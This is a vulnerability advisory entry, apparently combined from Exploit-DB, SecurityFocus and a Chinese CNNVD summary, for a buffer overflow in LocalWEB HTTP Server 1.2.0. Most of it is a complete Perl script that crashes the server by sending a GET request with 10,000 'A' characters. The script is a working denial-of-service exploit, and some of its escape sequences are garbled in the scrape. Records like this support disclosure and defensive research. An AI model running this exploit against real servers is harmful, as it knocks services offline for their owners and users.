https://www.exploit-db.com/exploits/20054
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200007-011

LocalWEBHTTPserver1.2.0版本存在漏洞。远程攻击者可以借助超长GET请求导致服务拒绝。

source: http://www.securityfocus.com/bid/1423/info

LocalWEB is a freeware HTTP server for the Windows suite of operating systems. Certain versions of this software are vulnerable to a remotely exploitable buffer overflow attack. This attack can instrumented by sending the web server (via port 80) a malformed URL. The net result is a denial of service, however a remotely exploitable buffer overflow leading to a system compromise has not been ruled out. 


# ./$0.pl -s <server>
#
# Malformed GET URL request DoS
#
use Getopt::Std;
use Socket;

getopts('s:', %args);
if(!defined($args{s})){&usage;}

my($serv,$port,$foo,$number,$data,$buf,$in_addr,$paddr,$proto);

$foo = "A"; # this is the NOP
$number = "10000"; # this is the total number of NOP
$data .= $foo x $number; # result of $foo times $number
$serv = $args{s}; # remote server
$port = 80; # remote port, default is 80
$buf = "GET /$data HTTP/1.0rnrn"; # issue this response to the
server

$in_addr = (gethostbyname($serv))[4] || die("Error: $!n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!n");
$proto = getprotobyname('tcp') || die("Error: $!n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";

print("Data has been successfully sent to $servn");

sub usage {die("nn$0 -s <server>nn");}

来源:XF
名称:localweb-get-bo
链接:http://xforce.iss.net/static/4896.php
来源:BUGTRAQ
名称:20000703RemoteDoSAttackinLocalWEBHTTPServer1.2.0Vulnerability
链接:http://www.securityfocus.com/templates/archive.pike?list=1&date;=2000-07-8&msg;[email protected]
来源:BID
名称:1423
链接:http://www.securityfocus.com/bid/1423